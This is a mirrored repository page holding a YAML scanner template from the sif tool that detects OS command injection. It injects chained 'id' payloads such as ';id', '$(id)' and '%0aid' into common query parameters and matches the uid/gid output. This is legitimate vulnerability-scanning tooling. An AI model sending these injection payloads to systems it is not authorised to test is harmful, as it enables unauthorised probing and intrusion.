mirror of
https://github.com/lunchcat/sif.git
synced 2026-07-28 14:37:01 -07:00
TigahandGitHub
f8f3b8cca6
* feat(modules): add active web-vuln probe modules Add five active-probe modules to modules/http: ssti-reflected (arithmetic eval proof), command-injection (id output, not payload echo), and error-based xpath, nosql, and ldap injection. Each keys on a transformed response the payload cannot produce by reflection, so a benign echo cannot trigger it. * chore(modules): trim redundant module header comments drop top-line comments that just restate the id/name fields already present in the same file
52 lines
1.2 KiB
YAML
52 lines
1.2 KiB
YAML
id: command-injection
|
|
info:
|
|
name: OS Command Injection
|
|
author: sif
|
|
severity: critical
|
|
description: Detects OS command injection by confirming the output of an injected id command in the response
|
|
tags: [rce, injection, command-injection, owasp-top10]
|
|
|
|
type: http
|
|
|
|
http:
|
|
method: GET
|
|
paths:
|
|
- "{{BaseURL}}/?cmd={{payload}}"
|
|
- "{{BaseURL}}/?exec={{payload}}"
|
|
- "{{BaseURL}}/?ping={{payload}}"
|
|
- "{{BaseURL}}/?host={{payload}}"
|
|
- "{{BaseURL}}/?ip={{payload}}"
|
|
- "{{BaseURL}}/?query={{payload}}"
|
|
- "{{BaseURL}}/?q={{payload}}"
|
|
|
|
# each payload chains the id command onto the parameter value; a match
|
|
# requires id's actual output, so a benign echo of the payload cannot
|
|
# trigger the detector.
|
|
payloads:
|
|
- ";id"
|
|
- "|id"
|
|
- "||id"
|
|
- "&&id"
|
|
- "`id`"
|
|
- "$(id)"
|
|
- "%0aid"
|
|
- ";id;"
|
|
- "127.0.0.1;id"
|
|
|
|
threads: 10
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "\\buid=[0-9]+\\([a-z0-9_.-]+\\)\\s+gid=[0-9]+\\("
|
|
condition: or
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: id_output
|
|
part: body
|
|
regex:
|
|
- "(\\buid=[0-9]+\\([a-z0-9_.-]+\\)\\s+gid=[0-9]+\\([a-z0-9_.-]+\\))"
|
|
group: 1
|